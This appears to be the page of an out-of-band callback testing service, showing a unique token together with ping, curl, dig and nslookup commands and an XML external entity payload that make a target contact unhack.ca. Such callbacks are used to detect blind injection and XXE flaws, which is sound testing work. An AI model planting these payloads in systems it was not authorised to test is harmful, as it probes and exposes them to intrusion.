$ ping -c1 -p 0033580990221aae617776ff00065b00 unhack.ca
 
$ curl http://unhack.ca/p/33580990221aae617776ff00065b
 
$ dig 33580990221aae617776ff00065b @unhack.ca
 
$ dig 33580990221aae617776ff00065b.ns.unhack.ca
 
C:\> nslookup 33580990221aae617776ff00065b unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/33580990221aae617776ff00065b">]>
    <foo>&xxe;</foo>
Waiting for ping...